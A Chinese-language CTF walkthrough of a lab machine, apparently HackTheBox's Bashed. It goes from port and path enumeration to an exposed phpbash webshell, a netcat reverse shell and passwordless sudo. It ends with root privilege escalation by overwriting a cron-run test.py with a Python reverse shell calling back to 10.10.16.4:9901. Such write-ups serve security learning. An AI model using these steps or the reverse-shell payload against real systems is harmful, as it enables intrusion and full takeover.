概述 (Overview)
Author: 0x584A
攻击链 (Kiillchain)
TTPs (Tactics, Techniques & Procedures)
- nmapAutomator.sh
- gobuster
- sudo
- pspy
阶段1:枚举
通过前期的 nmap 扫描发现开放了 22、80 端口,浏览器访问后为一个博客站。
根据内容提示,站点可能使用了phpbash,它是一个Web版的命令行操作台(官方webshell?)。
https://github.com/Arrexel/phpbash
访问默认路径显示404,使用gobuster
枚举一遍路径:
在 /dev
路径下找到了 phpbash.php
阶段2:工具及利用
阶段2.1:用phpbash.php实现NC反连上线
直接在 phpbash.php 里运行NC反连拿到一个bash。
查看下有哪些用户可以登录服务器。
阶段2.2:不安全的sudo配置
发现用户:root、scriptmanager、arrexel,具备登录。尝试下 sudo -l
,看看当前用户具备哪些特权命令。
可以发现配置中用sudo切 scriptmanager 用户时不需要验证密码。直接$ sudo -u scriptmanager bash
即可。
阶段3:权限提升
在搜索 scriptmanager
用户组文件时,发现可疑的 /scripts
,提示没有权限。
进一步确认:
scriptmanager 对 test.py
具有权限,看了下内容,脚本会向test.txt
写入testing 123!
字符串。
观察了下 test.txt
文件的时间每分钟都在更新,怀疑有 root 身份的定时脚本在执行 test.py
脚本。
传了一个 pspy
,用它来监听下进程(pspy是一种命令行工具,无需root权限即可监听进程。可以查看其他用户执行的命令、cron作业等)。
$ ./pspy64 -pf -i 1000
果然,UID=0
也就是root,会定时执行 /scripts
内的python脚本。
接下来就简单了,在目录下新建一个反弹脚本就好,我这里就直接写到 test.py
目录里了。
echo 'import sys,socket,os,pty;s=socket.socket();s.connect(("10.10.16.4",9901));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")' > test.py